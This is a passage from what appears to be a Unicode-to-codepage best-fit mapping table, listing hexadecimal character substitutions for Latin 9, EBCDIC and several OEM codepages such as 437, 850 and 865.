ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e - -#INVALID CODEPAGE: 28595 -#INVALID CODEPAGE: 28597 -28605 (ISO 8859-15 Latin 9) -00a6:7c 0100:41 0101:61 0102:41 0103:61 0104:41 0105:61 0106:43 0107:63 0108:43 0109:63 010a:43 010b:63 010c:43 010d:63 010e:44 010f:64 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 0118:45 0119:65 011a:45 011b:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0130:49 0131:69 0134:4a 0135:6a 0136:4b 0137:6b 0138:6b 0139:4c 013a:6c 013b:4c 013c:6c 013d:4c 013e:6c 0141:4c 0142:6c 0143:4e 0144:6e 0145:4e 0146:6e 0147:4e 0148:6e 014a:4e 014b:6e 014c:4f 014d:6f 014e:4f 014f:6f 0150:4f 0151:6f 0154:52 0155:72 0156:52 0157:72 0158:52 0159:72 015a:53 015b:73 015c:53 015d:73 015e:53 015f:73 0162:54 0163:74 0164:54 0165:74 0166:54 0167:74 0168:54 0169:74 016a:55 016b:75 016c:55 016d:75 016e:55 016f:75 0170:55 0171:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0179:5a 017b:5a 017c:7a 0180:62 0189:44 0191:46 0192:66 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01b6:7a 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 0261:67 02b9:27 02ba:22 02bc:27 02c4:5e 02c6:5e 02c8:27 02cb:60 02cd:5f 02dc:7e 0300:60 0302:5e 0303:7e 030e:22 0331:5f 0332:5f 2000:20 2001:20 2002:20 2003:20 2004:20 2005:20 2006:20 2010:2d 2011:2d 2013:2d 2014:2d 2018:27 2019:27 201a:2c 201c:22 201d:22 201e:22 2022:2e 2026:2e 2032:27 2035:60 2039:3c 203a:3e 2122:54 ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e - -37 (IBM EBCDIC - U.S./Canada) -0004:37 0005:2d 0006:2e 0007:2f 0008:16 0009:05 000a:25 0014:3c 0015:3d 0016:32 0017:26 001a:3f 001b:27 0020:40 0021:5a 0022:7f 0023:7b 0024:5b 0025:6c 0026:50 0027:7d 0028:4d 0029:5d 002a:5c 002b:4e 002c:6b 002d:60 002e:4b 002f:61 003a:7a 003b:5e 003c:4c 003d:7e 003e:6e 003f:6f 0040:7c 005f:6d 0060:79 007c:4f 007f:07 0080:20 0081:21 0082:22 0083:23 0084:24 0085:15 0086:06 0087:17 0088:28 0089:29 008a:2a 008b:2b 008c:2c 008d:09 008e:0a 008f:1b 0090:30 0091:31 0092:1a 0093:33 0094:34 0095:35 0096:36 0097:08 0098:38 0099:39 009a:3a 009b:3b 009c:04 009d:14 009e:3e 00a0:41 00a2:4a 00a6:6a 00ac:5f 00c0:64 00c1:65 00c2:62 00c3:66 00c4:63 00c5:67 00c7:68 00c8:74 00c9:71 00ca:72 00cb:73 00cc:78 00cd:75 00ce:76 00cf:77 00d1:69 00df:59 00e0:44 00e1:45 00e2:42 00e3:46 00e4:43 00e5:47 00e7:48 00e8:54 00e9:51 00ea:52 00eb:53 00ec:58 00ed:55 00ee:56 00ef:57 00f1:49 00f8:70 ff01:5a ff02:7f ff03:7b ff04:5b ff05:6c ff06:50 ff07:7d ff08:4d ff09:5d ff0a:5c ff0b:4e ff0c:6b ff0d:60 ff0e:4b ff0f:61 ff1a:7a ff1b:5e ff1c:4c ff1d:7e ff1e:6e ff20:7c ff3f:6d ff40:79 ff5c:4f - -437 (OEM - United States) -00a4:0f 00a7:15 00a8:22 00a9:63 00ad:2d 00ae:72 00af:5f 00b3:33 00b4:27 00b6:14 00b8:2c 00b9:31 00be:5f 00c0:41 00c1:41 00c2:41 00c3:41 00c8:45 00ca:45 00cb:45 00cc:49 00cd:49 00ce:49 00cf:49 00d0:44 00d2:4f 00d3:4f 00d4:4f 00d5:4f 00d7:78 00d8:4f 00d9:55 00da:55 00db:55 00dd:59 00de:5f 00e3:61 00f0:64 00f5:6f 00f8:6f 00fd:79 00fe:5f 0100:41 0101:61 0102:41 0103:61 0104:41 0105:61 0106:43 0107:63 0108:43 0109:63 010a:43 010b:63 010c:43 010d:63 010e:44 010f:64 0110:44 0111:64 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 0118:45 0119:65 011a:45 011b:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0130:49 0131:69 0134:4a 0135:6a 0136:4b 0137:6b 0139:4c 013a:6c 013b:4c 013c:6c 013d:4c 013e:6c 0141:4c 0142:6c 0143:4e 0144:6e 0145:4e 0146:6e 0147:4e 0148:6e 014c:4f 014d:6f 014e:4f 014f:6f 0150:4f 0151:6f 0152:4f 0153:6f 0154:52 0155:72 0156:52 0157:72 0158:52 0159:72 015a:53 015b:73 015c:53 015d:73 015e:53 015f:73 0160:53 0161:73 0162:54 0163:74 0164:54 0165:74 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 016e:55 016f:75 0170:55 0171:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0178:59 0179:5a 017b:5a 017c:7a 017d:5a 017e:7a 0180:62 0189:44 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01b6:7a 01c0:7c 01c3:21 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 0261:67 02b9:27 02ba:22 02bc:27 02c4:5e 02c6:5e 02c8:27 02ca:27 02cb:60 02cd:5f 02dc:7e 0300:60 0301:27 0302:5e 0303:7e 0308:22 030e:22 0327:2c 0331:5f 0332:5f 037e:3b 04bb:68 0589:3a 066a:25 2000:20 2001:20 2002:20 2003:20 2004:20 2005:20 2006:20 2010:2d 2011:2d 2013:2d 2014:2d 2017:5f 2018:60 2019:27 201a:2c 201c:22 201d:22 201e:2c 2020:2b 2022:07 2026:2e 2030:25 2032:27 2035:60 2039:3c 203a:3e 203c:13 2044:2f 2074:34 2075:35 2076:36 2077:37 2078:38 2080:30 2081:31 2082:32 2083:33 2084:34 2085:35 2086:36 2087:37 2088:38 2089:39 20dd:09 2102:43 2107:45 210a:67 210b:48 210c:48 210d:48 210e:68 2110:49 2111:49 2112:4c 2113:6c 2115:4e 2118:50 2119:50 211a:51 211b:52 211c:52 211d:52 2122:54 2124:5a 2128:5a 212a:4b 212c:42 212d:43 212e:65 212f:65 2130:45 2131:46 2133:4d 2134:6f 2190:1b 2191:18 2192:1a 2193:19 2194:1d 2195:12 21a8:17 2212:2d 2215:2f 2216:5c 2217:2a 221f:1c 2223:7c 2236:3a 223c:7e 2302:7f 2303:5e 2329:3c 232a:3e 25ac:16 25b2:1e 25ba:10 25bc:1f 25c4:11 25cb:09 25d8:08 25d9:0a 263a:01 263b:02 263c:0f 2640:0c 2642:0b 2660:06 2663:05 2665:03 2666:04 266a:0d 266b:0e 2758:7c 3000:20 3007:09 3008:3c 3009:3e 301a:5b 301b:5d ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e - -500 (IBM EBCDIC - International) -0004:37 0005:2d 0006:2e 0007:2f 0008:16 0009:05 000a:25 0014:3c 0015:3d 0016:32 0017:26 001a:3f 001b:27 0020:40 0021:4f 0022:7f 0023:7b 0024:5b 0025:6c 0026:50 0027:7d 0028:4d 0029:5d 002a:5c 002b:4e 002c:6b 002d:60 002e:4b 002f:61 003a:7a 003b:5e 003c:4c 003d:7e 003e:6e 003f:6f 0040:7c 005b:4a 005d:5a 005e:5f 005f:6d 0060:79 007f:07 0080:20 0081:21 0082:22 0083:23 0084:24 0085:15 0086:06 0087:17 0088:28 0089:29 008a:2a 008b:2b 008c:2c 008d:09 008e:0a 008f:1b 0090:30 0091:31 0092:1a 0093:33 0094:34 0095:35 0096:36 0097:08 0098:38 0099:39 009a:3a 009b:3b 009c:04 009d:14 009e:3e 00a0:41 00a6:6a 00c0:64 00c1:65 00c2:62 00c3:66 00c4:63 00c5:67 00c7:68 00c8:74 00c9:71 00ca:72 00cb:73 00cc:78 00cd:75 00ce:76 00cf:77 00d1:69 00df:59 00e0:44 00e1:45 00e2:42 00e3:46 00e4:43 00e5:47 00e7:48 00e8:54 00e9:51 00ea:52 00eb:53 00ec:58 00ed:55 00ee:56 00ef:57 00f1:49 00f8:70 ff01:4f ff02:7f ff03:7b ff04:5b ff05:6c ff06:50 ff07:7d ff08:4d ff09:5d ff0a:5c ff0b:4e ff0c:6b ff0d:60 ff0e:4b ff0f:61 ff1a:7a ff1b:5e ff1c:4c ff1d:7e ff1e:6e ff20:7c ff3b:4a ff3d:5a ff3e:5f ff3f:6d ff40:79 - -850 (OEM - Multilingual Latin I) -0100:41 0101:61 0102:41 0103:61 0104:41 0105:61 0106:43 0107:63 0108:43 0109:63 010a:43 010b:63 010c:43 010d:63 010e:44 010f:64 0110:44 0111:64 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 0118:45 0119:65 011a:45 011b:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0130:49 0134:4a 0135:6a 0136:4b 0137:6b 0139:4c 013a:6c 013b:4c 013c:6c 013d:4c 013e:6c 0141:4c 0142:6c 0143:4e 0144:6e 0145:4e 0146:6e 0147:4e 0148:6e 014c:4f 014d:6f 014e:4f 014f:6f 0150:4f 0151:6f 0152:4f 0153:6f 0154:52 0155:72 0156:52 0157:72 0158:52 0159:72 015a:53 015b:73 015c:53 015d:73 015e:53 015f:73 0160:53 0161:73 0162:54 0163:74 0164:54 0165:74 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 016e:55 016f:75 0170:55 0171:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0178:59 0179:5a 017b:5a 017c:7a 017d:5a 017e:7a 0180:62 0189:44 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01a9:53 01ab:74 01ae:54 01af:55 01b0:75 01b6:5a 01c3:21 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 0261:67 02ba:22 02bc:27 02c4:5e 02c6:5e 02c8:27 02cb:27 02cd:5f 02dc:7e 0300:27 0302:5e 0303:7e 030e:22 0331:5f 0332:5f 037e:3b 0393:47 03a3:53 03a6:46 03a9:4f 03b1:61 03b4:64 03b5:65 03c0:70 03c3:73 03c4:74 03c6:66 04bb:68 0589:3a 066a:25 2000:20 2001:20 2002:20 2003:20 2004:20 2005:20 2006:20 2010:2d 2011:2d 2013:2d 2014:2d 2018:27 2019:27 201a:27 201c:22 201d:22 201e:22 2022:07 2024:07 2026:2e 2030:25 2039:3c 203a:3e 203c:13 2044:2f 2070:30 2074:34 2075:35 2076:36 2077:37 2078:39 207f:6e 2080:30 2084:34 2085:35 2086:36 2087:37 2088:38 2089:39 20a7:50 20dd:4f 2102:43 2107:45 210a:67 210b:48 210c:48 210d:48 210e:68 2110:49 2111:49 2112:4c 2113:6c 2115:4e 2118:50 2119:50 211a:51 211b:52 211c:52 211d:52 2122:54 2124:5a 2126:4f 2128:5a 212a:4b 212c:42 212d:43 212e:65 212f:65 2130:45 2131:46 2133:4d 2134:6f 2190:1b 2191:18 2192:1a 2193:19 2194:1d 2195:12 21a8:17 2211:53 2212:2d 2215:2f 2216:2f 2217:2a 2219:07 221a:56 221e:38 221f:1c 2229:6e 2236:3a 223c:7e 2248:7e 2261:3d 2264:3d 2265:3d 2302:7f 2303:5e 2320:28 2321:29 2329:3c 232a:3e 25ac:16 25b2:1e 25ba:10 25bc:1f 25c4:11 25cb:09 25d8:08 25d9:0a 263a:01 263b:02 263c:0f 2640:0c 2642:0b 2660:06 2663:05 2665:03 2666:04 266a:0d 266b:0e 2713:56 3000:20 3007:4f 3008:3c 3009:3e 301a:5b 301b:5d ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e - -860 (OEM - Portuguese) -00a4:0f 00a5:59 00a7:15 00a8:22 00a9:63 00ad:5f 00ae:72 00af:16 00b3:33 00b4:2f 00b6:14 00b8:2c 00b9:31 00be:33 00c4:41 00c5:41 00c6:41 00cb:45 00ce:49 00cf:49 00d0:44 00d6:4f 00d7:58 00d8:4f 00db:55 00dd:59 00de:54 00e4:61 00e5:61 00e6:61 00eb:65 00ee:69 00ef:69 00f0:64 00f6:6f 00f8:6f 00fb:75 00fd:79 00fe:74 00ff:79 0100:41 0101:61 0102:41 0103:61 0104:41 0105:61 0106:43 0107:63 0108:43 0109:63 010a:43 010b:63 010c:43 010d:63 010e:44 010f:64 0110:44 0111:64 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 0118:45 0119:65 011a:45 011b:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0130:49 0131:69 0134:4a 0135:6a 0136:4b 0137:6b 0139:4c 013a:6c 013b:4c 013c:6c 013d:4c 013e:6c 0141:4c 0142:6c 0143:4e 0144:6e 0145:4e 0146:6e 0147:4e 0148:6e 014c:4f 014d:6f 014e:4f 014f:6f 0150:4f 0151:6f 0152:4f 0153:6f 0154:52 0155:72 0156:52 0157:72 0158:52 0159:72 015a:53 015b:73 015c:53 015d:73 015e:53 015f:73 0160:5c 0161:7c 0162:54 0163:74 0164:54 0165:74 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 016e:55 016f:75 0170:55 0171:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0178:59 0179:5a 017b:5a 017c:7a 017d:5a 017e:7a 0180:62 0189:44 0191:46 0192:66 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01b6:7a 01c0:7c 01c3:21 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 0261:67 0278:66 02b9:27 02ba:22 02bc:27 02c4:5e 02c6:5e 02c8:27 02c9:16 02ca:2f 02cb:60 02cd:5f 02dc:7e 0300:60 0301:2f 0302:5e 0303:7e 0304:16 0305:16 0308:22 030e:22 0327:2c 0331:5f 0332:5f 037e:3b 04bb:68 0589:3a 066a:25 2000:20 2001:20 2002:20 2003:20 2004:20 2005:20 2006:20 2010:5f 2011:5f 2013:5f 2014:5f 2017:5f 2018:27 2019:27 201a:2c 201c:22 201d:22 201e:22 2022:07 2024:07 2026:2e 2030:25 2032:27 2035:60 2039:3c 203a:3e 203c:13 2044:2f 2070:30 2074:34 2075:35 2076:36 2077:37 2078:38 2080:30 2081:31 2083:33 2084:34 2085:35 2086:36 2087:37 2088:38 2089:39 20dd:4f 2102:43 2107:45 210a:67 210b:48 210c:48 210d:48 210e:68 2110:49 2111:49 2112:4c 2113:6c 2115:4e 2118:70 2119:50 211a:51 211b:52 211c:52 211d:52 2122:74 2124:5a 2128:5a 212a:4b 212b:41 212c:42 212d:43 212e:65 212f:65 2130:45 2131:46 2133:4d 2134:6f 2190:1b 2191:18 2192:1a 2193:19 2194:1d 2195:12 21a8:17 2205:4f 2212:5f 2215:2f 2216:5c 2217:2a 221f:1c 2223:7c 2236:3a 223c:7e 22c5:07 2302:7f 2303:5e 2329:3c 232a:3e 25ac:16 25b2:1e 25ba:10 25bc:1f 25c4:11 25cb:09 25d8:08 25d9:0a 263a:01 263b:02 263c:0f 2640:0c 2642:0b 2660:06 2663:05 2665:03 2666:04 266a:0d 266b:0e 3000:20 3007:4f 3008:3c 3009:3e 301a:5b 301b:5d 30fb:07 - -861 (OEM - Icelandic) -00a2:63 00a4:0f 00a5:59 00a7:15 00a8:22 00a9:63 00aa:61 00ad:5f 00ae:72 00af:16 00b3:33 00b4:2f 00b6:14 00b8:2c 00b9:31 00ba:6f 00be:33 00c0:41 00c2:41 00c3:41 00c8:45 00ca:45 00cb:45 00cc:49 00ce:49 00cf:49 00d1:4e 00d2:4f 00d4:4f 00d5:4f 00d7:58 00d9:55 00db:55 00e3:61 00ec:69 00ee:69 00ef:69 00f1:6e 00f2:6f 00f5:6f 00f9:75 00ff:79 0100:41 0101:61 0102:41 0103:61 0104:41 0105:61 0106:43 0107:63 0108:43 0109:63 010a:43 010b:63 010c:43 010d:63 010e:44 010f:64 0111:64 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 0118:45 0119:65 011a:45 011b:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0130:49 0131:69 0134:4a 0135:6a 0136:4b 0137:6b 0139:4c 013a:6c 013b:4c 013c:6c 013d:4c 013e:6c 0141:4c 0142:6c 0143:4e 0144:6e 0145:4e 0146:6e 0147:4e 0148:6e 014c:4f 014d:6f 014e:4f 014f:6f 0150:4f 0151:6f 0152:4f 0153:6f 0154:52 0155:72 0156:52 0157:72 0158:52 0159:72 015a:53 015b:73 015c:53 015d:73 015e:53 015f:73 0160:53 0161:73 0162:54 0163:74 0164:54 0165:74 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 016e:55 016f:75 0170:55 0171:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0178:59 0179:5a 017b:5a 017c:7a 017d:5a 017e:7a 0180:62 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01b6:7a 01c3:21 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 0261:67 0278:66 02b9:27 02ba:22 02bc:27 02c4:5e 02c6:5e 02c8:27 02c9:16 02ca:2f 02cb:60 02cd:5f 02dc:7e 0300:60 0301:2f 0302:5e 0303:7e 0304:16 0305:16 0308:22 030e:22 0327:2c 0331:5f 0332:5f 037e:3b 04bb:68 0589:3a 066a:25 2000:20 2001:20 2002:20 2003:20 2004:20 2005:20 2006:20 2010:2d 2011:2d 2013:2d 2014:2d 2017:5f 2018:27 2019:27 201a:27 201c:22 201d:22 201e:22 2022:07 2024:07 2026:07 2030:25 2032:27 2035:27 2039:3c 203a:3e 203c:13 2044:2f 2070:30 2074:34 2075:35 2076:36 2077:37 2078:38 2080:30 2081:31 2083:33 2084:34 2085:35 2086:36 2087:37 2088:38 2089:39 20dd:4f 2102:43 2107:45 210a:67 210b:48 210c:48 210d:48 210e:68 2110:49 2111:49 2112:4c 2113:6c 2115:4e 2118:70 2119:50 211a:51 211b:52 211c:52 211d:52 2122:74 2124:5a 2128:5a 212a:4b 212c:42 212d:43 212e:65 212f:65 2130:45 2131:46 2133:4d 2134:6f 2190:1b 2191:18 2192:1a 2193:19 2194:1d 2195:12 21a8:17 2205:4f 2212:5f 2215:2f 2216:5c 2217:2a 221f:1c 2223:7c 2236:3a 223c:7e 22c5:07 2302:7f 2303:5e 2329:3c 232a:3e 25ac:16 25b2:1e 25ba:10 25bc:1f 25c4:11 25cb:09 25d8:08 25d9:0a 263a:01 263b:02 263c:0f 2640:0c 2642:0b 2660:06 2663:05 2665:03 2666:04 266a:0d 266b:0e 3000:20 3007:4f 3008:3c 3009:3e 301a:5b 301b:5d 30fb:07 - -863 (OEM - Canadian French) -00a1:21 00a5:59 00a9:63 00aa:61 00ad:16 00ae:72 00b9:33 00ba:6f 00c1:41 00c3:41 00c4:41 00c5:41 00c6:41 00cc:49 00cd:49 00d0:44 00d1:4e 00d2:4f 00d3:4f 00d5:4f 00d6:4f 00d7:58 00d8:4f 00da:55 00dd:59 00de:54 00e1:61 00e3:61 00e4:61 00e5:61 00e6:61 00ec:69 00ed:69 00f0:64 00f1:6e 00f2:6f 00f5:6f 00f6:6f 00f8:6f 00fd:79 00fe:74 00ff:79 0100:41 0101:61 0102:41 0103:61 0104:41 0105:61 0106:43 0107:63 0108:43 0109:63 010a:43 010b:63 010c:43 010d:63 010e:44 010f:64 0110:44 0111:64 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 0118:45 0119:65 011a:45 011b:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0130:49 0131:69 0134:4a 0135:6a 0136:4b 0137:6b 0139:4c 013a:6c 013b:4c 013c:6c 013d:4c 013e:6c 0141:4c 0142:6c 0143:4e 0144:6e 0145:4e 0146:6e 0147:4e 0148:6e 014c:4f 014d:6f 014e:4f 014f:6f 0150:4f 0151:6f 0152:4f 0153:6f 0154:52 0155:72 0156:52 0157:72 0158:52 0159:72 015a:53 015b:73 015c:53 015d:73 015e:53 015f:73 0160:53 0161:73 0162:54 0163:74 0164:54 0165:74 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 016e:55 016f:75 0170:55 0171:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0178:59 0179:5a 017b:5a 017c:7a 017d:5a 017e:7a 0180:62 0189:44 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01b6:7a 01c3:21 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 0261:67 02b9:22 02ba:27 02bc:27 02c4:5e 02c6:5e 02c8:27 02c9:16 02cb:60 02cd:5f 02dc:7e 0300:60 0302:5e 0303:7e 0304:16 0305:16 0331:5f 0332:5f 037e:3b 04bb:68 0589:3a 066a:25 2000:20 2001:20 2002:20 2003:20 2004:20 2005:20 2006:20 2010:2d 2011:2d 2013:2d 2014:2d 2018:27 2019:27 201a:27 201c:22 201d:22 201e:22 2022:07 2024:07 2026:07 2030:25 2032:27 2035:27 2039:3c 203a:3e 203c:13 2044:2f 2070:30 2074:34 2075:35 2076:36 2077:37 2078:38 2080:30 2081:31 2084:34 2085:35 2086:36 2087:37 2088:38 2089:39 20a7:50 20dd:4f 2102:43 2107:45 210a:67 210b:48 210c:48 210d:48 210e:68 2110:49 2111:49 2112:4c 2113:6c 2115:4e 2118:70 2119:50 211a:51 211b:52 211c:52 211d:52 2122:74 2124:5a 2128:5a 212a:4b 212b:41 212c:42 212d:43 212e:65 212f:65 2130:45 2131:46 2133:4d 2134:6f 2190:1b 2191:18 2192:1a 2193:19 2194:1d 2195:12 21a8:17 2205:4f 2212:5f 2215:2f 2216:5c 2217:2a 221f:1c 2223:7c 2236:3a 223c:7e 22c5:07 2302:7f 2303:5e 2329:3c 232a:3e 25ac:16 25b2:1e 25ba:10 25bc:1f 25c4:11 25cb:09 25d8:08 25d9:0a 263a:01 263b:02 263c:0f 2640:0c 2642:0b 2660:06 2663:05 2665:03 2666:04 266a:0d 266b:0e 3000:20 3007:4f 3008:3c 3009:3e 301a:5b 301b:5d 30fb:07 - -865 (OEM - Nordic) -00a2:63 00a5:59 00a7:15 00a8:22 00a9:63 00ad:5f 00ae:72 00af:16 00b3:33 00b4:2f 00b6:14 00b8:2c 00b9:31 00bb:3e 00be:33 00c0:41 00c1:41 00c2:41 00c3:41 00c8:45 00ca:45 00cb:45 00cc:49 00cd:49 00ce:49 00cf:49 00d0:44 00d2:4f 00d3:4f 00d4:4f 00d5:4f 00d7:58 00d9:55 00da:55 00db:55 00dd:59 00de:54 00e3:61 00f0:64 00f5:6f 00fd:79 00fe:74 0100:41 0101:61 0102:41 0103:61 0104:41 0105:61 0106:43 0107:63 0108:43 0109:63 010a:43 010b:63 010c:43 010d:63 010e:44 010f:64 0110:44 0111:64 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 0118:45 0119:65 011a:45 011b:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 